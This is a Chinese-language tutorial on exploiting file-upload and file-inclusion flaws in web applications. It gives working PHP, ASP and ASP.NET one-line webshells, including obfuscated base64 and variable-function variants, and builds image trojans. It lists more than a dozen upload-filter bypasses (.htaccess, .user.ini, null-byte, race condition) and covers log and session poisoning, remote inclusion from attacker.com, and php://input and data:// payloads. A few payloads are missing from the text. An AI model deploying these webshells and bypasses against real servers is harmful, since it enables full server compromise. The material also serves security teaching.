Web应用文件上传与文件包含漏洞深入解析
文件上传漏洞
文件上传功能是Web应用中常见的组成部分,它允许用户将文件传输到服务器。然而,如果处理不当,此功能可能成为严重的安全漏洞,使攻击者能够上传恶意文件,例如WebShell,从而完全控制服务器。
WebShell概述
WebShell是什么?
WebShell是一种恶意脚本,攻击者通过将其上传到Web服务器,实现对服务器的远程管理与控制。攻击者通常通过浏览器向WebShell脚本发送指令,这些指令在服务器端被执行,执行结果再返回给攻击者。WebShell的优势在于它常通过HTTP或HTTPS的80/443端口传输数据,可以有效规避部分防火墙的检测,且不易在系统日志中留下直接的攻击痕迹,只会在Web服务器的访问日志中记录请求信息。
WebShell主要特点
- 高度隐蔽性: WebShell脚本通常伪装成图片、文本文件或合法的应用程序文件,难以被管理员察觉。
- 防火墙穿越能力: 由于利用Web服务端口(如80端口)进行通信,其流量在网络层面常被视为正常Web流量,不易被防火墙拦截。
- 功能强大: WebShell可以被视为一个功能全面的远程访问工具或后门,允许攻击者执行系统命令、管理文件、数据库操作,甚至进行内网渗透。
Web服务器配置文件解析
在文件上传漏洞利用中,了解服务器的配置文件机制至关重要,特别是那些可以影响文件解析行为的配置。
Apache服务器配置
.htaccess文件- 作用: Apache的分布式配置文件,允许在每个目录下进行配置。常用于URL重写、认证、访问控制以及文件解析规则设置。
- 生效范围: 存放该文件的目录及其所有子目录。
- 优先级: 较高,可以覆盖主配置文件中的部分设置。
httpd.conf文件- 作用: Apache服务器的主配置文件,定义服务器的全局行为和默认设置。
- 生效范围: 整个Apache服务器。
- 优先级: 较低,但被
.htaccess文件覆盖的前提是AllowOverride指令允许。
PHP环境配置
.user.ini文件- 作用: 用户或特定目录的PHP配置文件,可以在运行时覆盖或追加全局
php.ini中的PHP配置选项。 - 生效范围: 存放该文件的目录及其所有子目录。
- 优先级: 较高,对所在目录及其子目录下的PHP脚本生效,且可覆盖
php.ini。
- 作用: 用户或特定目录的PHP配置文件,可以在运行时覆盖或追加全局
php.ini文件- 作用: PHP环境的全局配置文件,存储了影响整个PHP运行环境的配置选项。
- 生效范围: 所有运行在该PHP环境中的PHP请求。
- 优先级: 较低,是默认配置,可被
.user.ini或Web服务器配置覆盖。
典型WebShell:一句话木马
"一句话木马"是指代码量极少但功能强大的WebShell脚本,通常用于初步获得服务器控制权。
PHP一句话木马示例
<?php @eval($_POST['cmd']);?>
代码分析:
@符号:抑制PHP表达式可能产生的任何错误信息,使其在执行时静默。eval()函数:将括号内的字符串作为PHP代码执行。这是"一句话木马"的核心功能。$_POST['cmd']:通过HTTP POST请求接收名为cmd的参数值。这个cmd参数就是攻击者用来传递恶意指令的通道,通常在WebShell客户端工具(如蚁剑、菜刀)中被称为"连接密码"。
绕过及变体形式
<?php assert(@$_POST['payload']);?> // 使用assert()函数替代eval(),功能类似
<?php $func = 'eval'; @$func($_REQUEST['data']);?> // 通过变量方式调用函数,绕过部分基于关键字的静态检测
<?php /* Base64编码 */ eval(base64_decode('ZXZhbCgkX1BPU1RbJ2hhY2snXSk7'));?> // 对代码进行Base64编码,增加隐蔽性
其他语言类型
- ASP:
<%eval request("cmd")%> - ASP.NET:
<%@ Page Language="Jscript"%><%eval (Request.Item["exec_cmd"],"unsafe");%>
图片马的制作
图片马是将恶意代码隐藏在看似正常的图片文件中的技术,通常用于绕过文件类型检查。
- 直接修改后缀: 将包含WebShell代码的
malicious.php文件直接重命名为image.jpg。这种方法简单,但文件内容仍然是PHP代码。 - 合并文件(Windows):
在Windows命令行中,可以使用
copy命令将PHP代码附加到图片文件的末尾:copy original.jpg /b + malicious.php /a combined_image.jpg/b:以二进制模式复制。/a:以ASCII文本模式复制。- 这种方法生成的文件,头部是有效的图片数据,尾部是PHP代码。当服务器尝试将其作为图片处理时,通常不会报错;但当通过文件包含漏洞以PHP形式解析时,末尾的PHP代码会被执行。
文件上传漏洞绕过技术
攻击者常利用各种技术绕过Web应用对文件上传的限制。
1. 前端JavaScript验证绕过
如果上传验证仅在客户端(浏览器)通过JavaScript执行,攻击者可以通过以下方式绕过:
- 禁用JavaScript: 使用浏览器插件(如"JavaScript Switcher")或浏览器开发者工具直接禁用页面JavaScript。
- 抓包修改: 先上传一个合法文件(如
image.jpg),通过前端验证。然后使用Burp Suite等抓包工具拦截请求,将文件名修改为恶意脚本名称(如shell.php),再将请求发送到服务器。
这种验证方式最为不安全,因为客户端数据总是不可信的。

2. MIME类型绕过
服务器端通过检查HTTP请求头中的Content-Type字段来判断文件类型。

绕过方法: 使用Burp Suite等工具拦截上传请求,将恶意文件(如shell.php)的Content-Type从application/x-php修改为图片类型(如image/jpeg、image/png),以欺骗服务器通过MIME类型检查。
3. 特殊后缀绕过(黑名单不完善)
如果服务器采用黑名单机制过滤不允许上传的文件后缀,但黑名单不够完善,攻击者可以尝试上传不在黑名单中的但仍能被解析为脚本的后缀名。
例如,如果黑名单只包含.php、.aspx,而没有.phtml、.php5、.phps等,则可以尝试上传一个名为shell.phtml或shell.php5的WebShell。
4. .htaccess文件解析规则绕过
在Apache服务器环境下,可以利用.htaccess文件修改目录的文件解析规则。
绕过方法:
- 上传一个
.htaccess文件,内容如下:AddType application/x-httpd-php .jpg这条指令的含义是将当前目录下所有
.jpg文件都当作PHP脚本来执行。 - 再上传一个包含WebShell代码的
malicious.jpg文件。 - 当访问
malicious.jpg时,服务器会将其作为PHP代码执行。
5. .user.ini文件解析规则绕过
PHP环境下的.user.ini文件可以自定义PHP配置,包括自动包含文件。
绕过方法:
- 上传一个
.user.ini文件,内容如下:auto_prepend_file = evil_shell.jpg ; 或者 auto_append_file = evil_shell.jpgauto_prepend_file指定在每个PHP文件执行前自动包含指定文件,auto_append_file则是在执行后包含。 - 上传一个包含WebShell代码的
evil_shell.jpg文件。 - 当同一目录下任何PHP文件被访问时,
evil_shell.jpg中的WebShell代码都会被自动包含并执行。
6. 文件名尾部空格或点绕过
部分Web服务器或文件系统在处理文件名时,会自动去除文件名末尾的空格或点。如果后端验证逻辑没有充分考虑这一点,就可能被绕过。
例如,当服务器端代码在进行黑名单检查后,才进行文件名处理,攻击者可以上传一个名为shell.php .(文件名末尾带空格和点)的文件。若服务器在保存时自动去除空格和点,最终文件变为shell.php。
示例(简化版过滤逻辑):
// 原始文件名处理(假设存在漏洞)
$uploaded_name = $_FILES['uploadedFile']['name']; // 如 "shell.php ."
// 假设黑名单检查在这里发生,但检查的是原始文件名
// ... if (in_array(get_extension($uploaded_name), $blacklist)) { ... }
// 在黑名单检查后,文件名被处理
$processed_name = trim($uploaded_name); // "shell.php ." -> "shell.php ."
$final_name = rtrim($processed_name, '. '); // "shell.php ." -> "shell.php"
// 此时,如果文件被保存为 $final_name,则绕过成功
move_uploaded_file($tmp_path, UPLOAD_DIR . '/' . $final_name);
7. 大小写绕过
如果黑名单过滤没有将文件名后缀转换为小写,攻击者可以尝试使用大小写混合的后缀名(如.pHp、.AsPx)绕过。
8. NTFS ADS(Alternate Data Streams)绕过(Windows特有)
在Windows NTFS文件系统中,文件可以拥有附加数据流。当文件名后跟随::DATA时,它表示文件的一个主数据流,且::DATA之后的部分会被忽略。
绕过方法: 在上传恶意文件时,将文件名改为shell.php::DATA。服务器在检查后缀时,可能会认为这是一个合法文件(因为它没有.php后缀),但在Windows系统上保存时,最终会创建一个名为shell.php的文件。
# 示例:创建带有数据流的文件
echo "Hello from ADS" > file.txt:ads_stream
# 查看数据流内容
notepad file.txt:ads_stream
9. 双写绕过
当服务器采用字符串替换的方式(如str_ireplace)过滤黑名单后缀时,如果替换只进行一次,就可能存在双写绕过。
例如,黑名单过滤了php,攻击者可以上传一个名为shell.phpphp的文件。服务器将第一个php替换为空字符串后,文件名变为shell.php,从而绕过。
$deny_extensions = array("php", "asp", "jsp");
$file_extension = "phpphp"; // 用户上传的文件名后缀
// 替换操作:从左到右,一次替换
$cleaned_extension = str_ireplace($deny_extensions, "", $file_extension);
// 此时 $cleaned_extension 变为 "php"
// 如果后续没有再次检查,则可能导致漏洞
10. %00截断(PHP版本 <= 5.3.4,magic_quotes_gpc=Off)
在某些PHP版本和配置下,一些C语言实现的函数(如move_uploaded_file)在处理字符串时,遇到空字节(%00)会认为字符串已经结束。这可以用来截断文件名。
绕过方法:
- 攻击者上传一个名为
shell.php%00.jpg的文件。 - 服务器在保存文件时,如果文件名参数未经严格处理直接传递给底层C函数,
%00后面的.jpg会被忽略,文件最终被保存为shell.php。 - 这种方法通常要求文件路径可通过GET参数控制。

11. 0x00截断(POST请求)
与%00截断原理类似,但用于POST请求中。在Burp Suite中,可以在文件名或路径中插入十六进制的00字节,然后通过编码转换将其作为空字节发送。

12. 文件幻数(Magic Number)绕过
文件幻数是文件头部的一串特定字节,用于标识文件类型。服务器可能通过检查文件幻数来判断文件是否为图片。
- 常见图片幻数:
- JPG:
FF D8 FF E0 - PNG:
89 50 4E 47 - GIF:
47 49 46 38 39 61(GIF89a)
- JPG:
绕过方法: 使用十六进制编辑器(如010 Editor),将包含WebShell代码的文件头部添加对应图片类型的幻数,使其看起来像一个合法图片。之后结合文件包含漏洞来执行其中的PHP代码。
13. 文件包含漏洞辅助绕过
当图片马上传成功,但无法直接访问执行时,可以利用文件包含漏洞来解析图片马中的PHP代码。
攻击流程:
- 上传一个包含WebShell的图片马(例如
shell.jpg),绕过上传的文件类型检查。 - 利用Burp Suite或其他工具,获取图片马在服务器上的实际存储路径(如
/upload/timestamp_shell.jpg)。 - 寻找网站中存在文件包含漏洞的页面(如
include.php?file=...)。 - 构造包含恶意图片的URL,例如:
http://example.com/include.php?file=./upload/timestamp_shell.jpg。 - 文件包含页面会将
shell.jpg作为PHP代码执行,从而激活WebShell。

14. 二次渲染绕过
某些网站在上传图片后,会对图片进行二次处理(如缩放、裁剪、添加水印),这会导致图片马中的WebShell代码被破坏。
绕过方法: 通常需要深入分析二次渲染机制。一种常见方法是,上传一个包含WebShell的图片,让服务器进行二次渲染。然后将原始图片与渲染后的图片进行二进制比较,找到渲染过程中未被修改的区域,将WebShell代码插入到这些区域。GIF格式由于其帧结构,有时更容易找到未渲染的部分。
15. 条件竞争绕过
如果服务器的文件上传处理逻辑是"先保存文件,再进行安全检查和重命名/删除",那么在文件保存到删除之间会存在一个短暂的时间窗口。
if(isset($_POST['submit'])){
$allowed_exts = array('jpg','png','gif');
$uploaded_name = $_FILES['user_file']['name'];
$temp_path = $_FILES['user_file']['tmp_name'];
$file_ext = pathinfo($uploaded_name, PATHINFO_EXTENSION);
$final_upload_path = UPLOAD_PATH . '/' . $uploaded_name;
if(move_uploaded_file($temp_path, $final_upload_path)){ // 文件首先被移动到最终目录
if(in_array(strtolower($file_ext), $allowed_exts)){
$new_image_name = UPLOAD_PATH . '/'. uniqid() . '.' . $file_ext;
rename($final_upload_path, $new_image_name); // 合法文件被重命名
echo "文件上传成功!";
}else{
echo "只允许上传.jpg|.png|.gif类型文件!";
unlink($final_upload_path); // 不合法文件被删除
}
}else{
echo "文件上传失败!";
}
}
绕过方法:
- 上传一个PHP WebShell文件(例如
shell.php)。 - 在文件被保存到
$final_upload_path之后,但在unlink($final_upload_path)执行之前,利用多线程或快速请求,立即访问该文件。 - 如果成功访问,该WebShell可以执行创建另一个永久WebShell的代码(例如
'); ?>),从而在服务器删除原文件前建立一个持久后门。
16. Apache解析漏洞
Apache服务器在解析某些文件类型时可能存在漏洞,例如"从右向左"解析后缀名,如果无法识别就跳过。
绕过方法: 上传一个名为shell.php.7z的文件。Apache可能无法解析.7z,然后尝试解析.php。如果服务器将.php识别为可执行脚本,则WebShell会被执行。
17. 代码审计与数组后缀利用
当服务器端对文件名的处理逻辑较为复杂,特别是涉及到数组操作时,可能存在逻辑漏洞。
例如,如果代码将文件名按.分割成数组,然后只检查数组的最后一个元素作为后缀,而在拼接文件名时却使用了数组的第一个元素和最后一个元素,就可能被绕过。
if (!is_array($file_name_input)) {
$file_parts = explode('.', strtolower($file_name_input)); // 1.php.evil.jpg -> ['1', 'php', 'evil', 'jpg']
}
$extension_for_check = end($file_parts); // 'jpg'
$allowed_extensions = array('jpg','png','gif');
if (!in_array($extension_for_check, $allowed_extensions)) {
$msg = "禁止上传该后缀文件!"; // 检查通过
} else {
// 拼接文件名时:取第一个元素和最后一个元素
$final_name_to_save = reset($file_parts) . '.' . $file_parts[count($file_parts) - 1]; // '1.jpg'
// 如果用户上传的是 1.php.evil.jpg,最终保存为 1.jpg
// 此时攻击者可以尝试上传一个数组形式的文件名
// file_name_input[] = "shell";
// file_name_input[] = "php";
// ...
}
绕过方法: 攻击者可以通过提交数组形式的文件名(例如,通过Burp Suite修改),使服务器在检查时获取一个合法后缀,但在最终保存时拼接出一个恶意后缀。
- 例如,提交
filename[]=shell&filename[]=php,如果后端取第一个元素作为文件名,最后一个元素作为后缀,可能拼接出shell.php。
文件包含漏洞
文件包含漏洞允许攻击者在服务器上执行或显示任意文件内容。当Web应用程序在处理用户提交的文件路径时,没有进行充分的验证和过滤,直接将用户输入作为文件路径包含到脚本中时,就会产生此漏洞。
本地文件包含漏洞 (LFI)
本地文件包含漏洞是指应用程序能够打开并包含服务器本地文件系统的文件,从而执行或泄露其内容。
<?php
// 这是一个存在本地文件包含漏洞的示例页面
// 接收一个名为 'resource' 的GET参数
$requested_resource = $_GET['resource'] ?? ''; // 使用null合并运算符,PHP 7+ 语法
if (!empty($requested_resource)) {
// 未经严格验证直接包含用户指定的本地文件
// 在实际应用中,这里应有严格的白名单或输入验证,例如 pathinfo() 等
include $requested_resource;
} else {
echo "<h3>请通过'resource'参数指定要包含的文件,例如:</h3>";
echo "<code>http://example.com/lfi.php?resource=./some_file.txt</code>";
}
?>
利用方式:
通过构造resource参数,攻击者可以读取服务器上的敏感文件或执行恶意代码。
- 绝对路径:
resource=D:\\web\\site\\upload\\shell.php - 相对路径:
resource=./upload/shell.php(./表示当前目录,../表示上一级目录,适用于Windows和Linux)
LFI利用方法
1. 结合文件上传漏洞
如前所述,当上传图片马成功后,通过文件包含漏洞来执行图片中的WebShell代码。
2. 包含Apache/Nginx日志文件
Web服务器会将用户请求和错误信息写入日志文件(例如Apache的access.log或error.log)。如果这些日志文件可读且路径已知,攻击者可以利用LFI包含它们。
攻击流程:
- 攻击者向服务器发送一个包含恶意PHP代码的HTTP请求,例如在URL中注入
<?php eval($_GET['cmd']); ?>。 - 服务器会将这个请求(包括恶意代码)记录到
access.log中。 - 利用LFI漏洞包含
access.log文件(例如resource=/var/log/apache2/access.log)。 - 当
access.log被作为PHP文件解析时,其中的恶意代码会被执行。
注意:通常Web服务器会对URL编码后的内容进行解码后才写入日志,但某些情况下或者在请求头中注入,可以直接写入原始代码。
3. 包含PHP SESSION文件
PHP会话数据通常保存在服务器的临时目录中(session.save_path配置项指定)。会话文件名通常遵循sess_[PHPSESSID]的格式,其中PHPSESSID是Cookie中传递的会话ID。
攻击流程:
- 攻击者向应用程序发送请求,并在URL参数或POST数据中注入恶意PHP代码,使得这些代码最终写入到用户的SESSION变量中。
- 服务器会将包含恶意代码的SESSION数据保存到会话文件中。
- 通过浏览器开发者工具获取当前会话的
PHPSESSID。 - 利用LFI漏洞包含对应的SESSION文件(例如
resource=/tmp/sess_PHPSESSID)。 - SESSION文件被作为PHP代码解析时,其中的恶意代码会被执行。

远程文件包含漏洞 (RFI)
如果PHP配置选项allow_url_include和allow_url_fopen都设置为On,那么include/require等函数可以加载远程服务器上的文件。这种漏洞被称为远程文件包含(RFI)。
<?php
// 这是一个存在远程文件包含漏洞的示例
// 接收一个名为 'remote_script_url' 的GET参数
$remote_script_path = $_GET['remote_script_url'] ?? '';
if (!empty($remote_script_path)) {
// 假设allow_url_include 和 allow_url_fopen 已开启
// 危险操作:直接包含用户提供的远程URL
include $remote_script_path;
} else {
echo "<h3>请提供远程文件的URL路径,例如:</h3>";
echo "<code>http://example.com/rfi.php?remote_script_url=http://attacker.com/malicious_shell.txt</code>";
}
?>
利用方法:
- 在攻击者控制的Web服务器上创建一个包含WebShell代码的文件,例如
malicious_shell.txt。 - 构造RFI漏洞的URL,使其包含攻击者服务器上文件的URL,例如:
http://vulnerable.com/rfi.php?remote_script_url=http://attacker.com/malicious_shell.txt。 - 受害服务器会从攻击者服务器下载并执行
malicious_shell.txt中的PHP代码。
绕过后缀限制: 如果目标脚本会在包含路径后附加固定后缀(如.php),可以尝试使用%00空字节或?问号来截断,例如:http://attacker.com/malicious_shell.txt%00或http://attacker.com/malicious_shell.txt?。
PHP伪协议利用
PHP提供了一系列内置的URL风格的"伪协议",可以在文件包含函数中使用,实现特殊的文件读取或代码执行功能。

1. file://协议
- 作用: 用于访问本地文件系统,与直接使用文件路径类似。
- 利用:
file:///etc/passwd或file://D:/xampp/htdocs/index.php - 特点: 不受
allow_url_fopen和allow_url_include配置的影响,常用于本地文件读取。
2. php://协议
php://filter(用于读取源码)- 作用: 允许对流进行各种过滤操作,常用于读取PHP文件的源码。
- 利用:
php://filter/read=convert.base64-encode/resource=index.php:读取index.php文件内容并进行Base64编码输出。php://filter/convert.iconv.utf-8/resource=index.php:通过字符编码转换读取文件。
- 特点: 即使在无法直接执行文件的情况下,也能获取其内容,方便代码审计或寻找其他漏洞。
php://input(用于执行PHP代码)- 作用: 允许直接从HTTP请求体中读取原始数据作为PHP代码执行。
- 利用:
- 在文件包含漏洞点设置参数为
resource=php://input。 - 通过HTTP POST请求发送包含PHP代码的数据到服务器。
POST /lfi.php?resource=php://input HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded Content-Length: 20 <?php phpinfo();?> - 在文件包含漏洞点设置参数为
- 特点: 要求
allow_url_include=On。可以直接注入并执行任意PHP代码,非常强大。
3. data://协议
- 作用: 允许用户将数据直接嵌入到URL中,这些数据可以被PHP的包含函数解析为文件内容或代码。
- 利用:
- 纯文本:
data://text/plain, - Base64编码: 如果特殊字符被过滤,可以使用Base64编码:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=(Base64解码后为)
- 纯文本:
- 特点: 要求
allow_url_include=On。可以直接注入代码,绕过文件上传限制,实现任意代码执行。